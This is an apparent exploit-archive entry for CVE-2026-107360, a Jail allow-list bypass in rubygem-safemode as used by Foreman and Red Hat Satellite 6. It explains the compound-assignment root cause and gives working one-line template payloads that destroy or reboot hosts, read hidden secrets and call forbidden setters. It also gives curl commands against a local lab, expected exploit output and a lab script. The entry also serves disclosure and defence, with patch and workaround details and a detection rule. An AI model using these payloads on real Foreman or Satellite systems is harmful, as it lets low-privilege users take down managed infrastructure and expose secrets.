PoC Archive PoC Archive
CVE-2026-107360 category: web CVSS 9.6 (CRITICAL)
Patched

rubygem-safemode Compound-Assignment Jail Allow-List Bypass (CVE-2026-107360)

Published: 2026-11-27 • Researcher: Lê Hiếu (GitHub: googlesky); vulnerability credited to Kaya Emre Arikan via Red Hat Product Security (Bugzilla 2547645)

Target software rubygem-safemode, the sandboxed template evaluator used by Foreman and Red Hat Satellite 6
Affected versions Every released safemode version through 2.0.3 (tag edc74ce); Red Hat Satellite 6.16, 6.17 and 6.18 with rubygem-safemode 1.5.0-1 / 1.5.0-2. Fixed by upstream PR #75 and by rubygem-safemode 1.5.0-3.el8sat / 1.5.0-3.el9sat
Status Weaponized (differential lab executes the bypass against safemode 2.0.3 and blocks it on the PR #75 fix; not executed while preparing this entry)
Severity Critical · CVSS 9.6
CVSS 9.6/10
Severity
Critical
CVE
CVE-2026-107360 (RHSA-2026:99949, RHSA-2026:99950, RHSA-2026:99952, RHSA-2026:100120)
Category
web
Affected product
rubygem-safemode, the sandboxed template evaluator used by Foreman and Red Hat Satellite 6
Affected versions
Every released safemode version through 2.0.3 (tag edc74ce); Red Hat Satellite 6.16, 6.17 and 6.18 with rubygem-safemode 1.5.0-1 / 1.5.0-2. Fixed by upstream PR #75 and by rubygem-safemode 1.5.0-3.el8sat / 1.5.0-3.el9sat
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-11-19 (upstream commit 9e479bb, “Add standalone full-chain exploit script to CVE-2026-107360”)
Author / ResearcherLê Hiếu (GitHub: googlesky); vulnerability credited to Kaya Emre Arikan via Red Hat Product Security (Bugzilla 2547645)
CVE / AdvisoryCVE-2026-107360 (RHSA-2026:99949, RHSA-2026:99950, RHSA-2026:99952, RHSA-2026:100120)
Categoryweb
SeverityCritical
CVSS Score9.6 (CVSSv3.1 base score, NVD; EPSS 0.00531 in the harvested record)
StatusWeaponized (differential lab executes the bypass against safemode 2.0.3 and blocks it on the PR #75 fix; not executed while preparing this entry)
Tagssandbox escape, template injection, Ruby, safemode, Foreman, Red Hat Satellite, CWE-183, authenticated, compound assignment
RelatedN/A

Affected Target

FieldValue
Software / Systemrubygem-safemode, the sandboxed template evaluator used by Foreman and Red Hat Satellite 6
Versions AffectedEvery released safemode version through 2.0.3 (tag edc74ce); Red Hat Satellite 6.16, 6.17 and 6.18 with rubygem-safemode 1.5.0-1 / 1.5.0-2. Fixed by upstream PR #75 and by rubygem-safemode 1.5.0-3.el8sat / 1.5.0-3.el9sat
Language / PlatformRuby 3.1.7 with prism 1.9.0 and ruby2ruby 2.5.2; Foreman 3.19 / 5.0; Red Hat Satellite 6.16–6.18
Authentication RequiredPartial — a low-privilege authenticated account able to supply or influence template content
Network Access RequiredYes — template submission or preview over the Foreman/Satellite web interface

Summary

safemode rewrites sandboxed Ruby template source so that every method call is mediated through a Jail allow-list. The 2.0.3 parser explicitly admits the compound-assignment node family but provides no handler for it, so the assignment is emitted verbatim and its getter and setter run directly on the real template object instead of on the Jail wrapper. An authenticated template author can therefore invoke any zero-argument method on objects such as the Foreman host object, including destructive calls like destroy and reboot, execute non-allow-listed setters and read back non-allow-listed state. The archived lab demonstrates the bypass against safemode 2.0.3 and shows the same templates blocked by the upstream fix.

Vulnerability Details

Root Cause

CWE-183 (permissive list of allowed inputs). safemode parses sandboxed Ruby with Prism, inserts .to_jail on the receiver of every call node in Safemode::Parser#process_call, re-emits the tree with Ruby2Ruby and evaluates it inside a Safemode::Scope binding. In safemode 2.0.3 the parser’s static node allowlist admits op_asgn, op_asgn1, op_asgn2, op_asgn_and, op_asgn_or, safe_op_asgn and safe_op_asgn2, and its own source comment records that these node types do not insert .to_jail on the receiver. None of them has a process_* handler, so they fall through to Ruby2Ruby’s default processing and are emitted as literal Ruby.

The emitted forms matter. For a template such as @host.destroy ||= nil the receiver is an ivar node rather than a call node, and the method invocation is implicit in the assignment syntax, so .to_jail is never inserted. Safemode::Scope resolves the ivar to the real host object, and the getter destroy therefore executes on the real object. A falsy getter such as @host.audit ||= 1 reaches the setter audit= on the real object, @host[0] ||= 1 reaches both [] and []=, and the expression value returns the getter result, disclosing non-allow-listed state. Plain assignments are not exploitable because attrasgn and safe_attrasgn were removed from the allowlist in 2.0.3 by commit e963aab; the compound-assignment family is the remaining open gate.

Attack Vector

An authenticated user with template edit or preview rights submits ERB or Ruby template content that is rendered with safemode_render enabled, which is the default. Foreman renders provisioning templates, partition tables, report templates and job templates through exactly this path. The payload is a one-line compound assignment whose getter or setter names a method that is not on the Jail allow-list.

Impact

Arbitrary no-argument method invocation on every object exposed to the template renderer, without Jail mediation. In Foreman and Satellite that includes ActiveRecord models such as the host object, so an attacker can delete or reboot hosts, run other zero-argument model methods, set attributes that the allow-list forbids, and read back secrets and state that the sandbox is supposed to hide. The result is integrity and confidentiality loss within the managed infrastructure, and destructive operations can take monitored or provisioned systems offline.

Environment / Lab Setup

Output
OS:          Linux host with Podman and network access to build images
Target:      cve-2026-107360:vuln  (safemode tag v2.0.3, edc74ce) on :28081
             cve-2026-107360:fixed (PR #75 head 0bd3998)        on :28082
Runner:      cve-2026-107360-poc:local (python:3.12-alpine)
Network:     dedicated Podman network cve2026107360lab
Tools:       podman, make, Ruby 3.1.7, prism 1.9.0, ruby2ruby 2.5.2,
             ruby_parser 3.21.1, sexp_processor 4.17.4

Setup Steps

Shell script
1
2
3
git clone https://github.com/theforeman/safemode.git safemode
make build        # builds the vuln and fixed target images and the PoC runner
make run          # starts cve107360-vuln on :28081 and cve107360-fixed on :28082

The two target images share one Dockerfile, one base image and one dependency set; only the checked-out safemode ref differs, so any behavioural difference is attributable to the fix.

Proof of Concept

Step-by-Step Reproduction

  1. Confirm the lab is valid with a non-destructive classification. The disclosure primitive uses a getter that is deliberately not on the allow-list.

    Shell script
    1
    
    make poc-vuln MODE=check
  2. Run the full chain against the vulnerable build: destructive no-argument calls, disclosure and setter bypass.

    Shell script
    1
    2
    3
    
    make poc-vuln MODE=exploit
    # or directly:
    python3 exploit/exploit.py --target http://127.0.0.1:28081
  3. Run the same command against the fixed build to observe every primitive blocked.

    Shell script
    1
    
    make poc-fixed MODE=exploit
  4. Sweep every reproduction path (R1–R8 plus the ERB variants) on both builds.

    Shell script
    1
    2
    
    make sweep-vuln
    make sweep-fixed

Exploit Code

See exploit/exploit.py for the standalone full-chain client and poc/poc.py for the classifier with check, exploit, probe and mitigation modes.

The exploit chain is four one-line templates submitted to the lab renderer:

Ruby
1
2
3
4
@host.destroy ||= nil      # unallow-listed no-arg method executes on the real object
@host.reboot ||= nil       # second destructive gadget, same primitive
@host.secret ||= nil       # getter value returned: disclosure of non-allow-listed state
@host.audit ||= 1          # falsy getter -> unallow-listed setter executes
Shell script
1
2
3
4
curl -s -X POST http://127.0.0.1:28081/render \
  -H 'Content-Type: application/json' \
  -d '{"template":"@host.destroy ||= nil","mode":"ruby"}'
curl -s http://127.0.0.1:28081/state

Expected Output

Output
r1_destroy       -> raw: "ok result='#<HostProbe:0x…>'", state_destroyed: true
r1b_reboot       -> raw: "ok result='#<HostProbe:0x…>'", state_rebooted: true
r5_disclosure    -> raw: "ok result='S3CR3T-ROOT-PASSWORD-VALUE'"
r_setter_bypass  -> raw: "ok result='1'", state_audit_set: true
verdict: VULNERABLE — arbitrary no-arg method execution on template objects
         without Jail mediation
poc-exit=1

r1_destroy       -> "Safemode::NoMethodError: undefined method '#destroy' for
                     HostProbe::Jail (HostProbe)", state_destroyed: false
r5_disclosure    -> "Safemode::NoMethodError: undefined method '#secret' …"
verdict: safe — all exploit primitives blocked
poc-exit=0

Detection & Indicators of Compromise

Output
@host.destroy ||= nil
@host.reboot  ||= nil
@host.secret  ||= nil
@host.audit   ||= 1
@host[0]      ||= 1

SIEM / IDS rule (example):

Output
alert file any any -> any any (msg:"Possible safemode compound-assignment bypass"; \
  content:"||="; content:"@host."; distance:0; sid:90107360;)

Remediation

ActionDetail
PatchUpgrade to a safemode release containing PR #75; on Red Hat Satellite apply RHSA-2026:99949 / 99950 / 99952 / 100120 (rubygem-safemode 1.5.0-3)
WorkaroundRestrict template edit and preview privileges to trusted administrators until the fixed package is deployed (the vendor’s interim mitigation)
Config HardeningKeep template rendering inside safemode; never disable safemode_render; audit who holds template-editing roles
DetectionAlert on compound-assignment operators in submitted template content and on destructive model operations that originate from template rendering

References

Notes

Verdict: genuine exploit. The repository ships a working differential lab and a standalone exploit client. It reproduces the exact parser-level root cause, executes destructive and disclosure primitives against a deliberately non-allow-listed probe object, and demonstrates that the PR #75 fix blocks the same templates. It is not a scanner, checker, version audit or README-only analysis, and it contains no malware, C2, persistence, evasion, credential-stealing or bot functionality.

License: MIT, Copyright (c) 2026 Lê Hiếu (LICENSE file included).

Limitations: (1) the lab implements a Foreman-style renderer rather than a full Foreman or Satellite instance, so the probe object stands in for the real host model; (2) the destructive primitives act on that probe object and its side-effect registry, not on live infrastructure; (3) a low-privilege authenticated account with template edit or preview rights is required; (4) the ERB variant using the Rails-era @output_buffer is blocked on both builds for unrelated modern-ERB reasons and is documented upstream as an environment incompatibility, not a bypass; (5) the lab expects a local safemode git checkout at ./safemode because lab/build.sh creates git worktrees from it, and the generated src-vuln and src-fixed build contexts are intentionally not archived; (6) the exploit was reviewed statically and was not executed while preparing this entry.

run-lab.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
# Builds the PoC runner image and starts both differential target containers
# on the dedicated lab network, then prints the endpoints.
set -ex

ROOT=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd -P)
NET=cve2026107360lab

podman network create "$NET" 2>/dev/null || true
podman rm -f cve107360-vuln cve107360-fixed 2>/dev/null || true

podman build -t cve-2026-107360-poc:local -f "$ROOT/poc/Dockerfile" "$ROOT/poc"

podman run -d --name cve107360-vuln --cpus 2 --memory 4g --network "$NET" \
  -p 28081:8080 cve-2026-107360:vuln
podman run -d --name cve107360-fixed --cpus 2 --memory 4g --network "$NET" \
  -p 28082:8080 cve-2026-107360:fixed

sleep 3
podman logs cve107360-vuln | head -3
podman logs cve107360-fixed | head -3

echo "vulnerable target: http://127.0.0.1:28081"
echo "fixed target:      http://127.0.0.1:28082"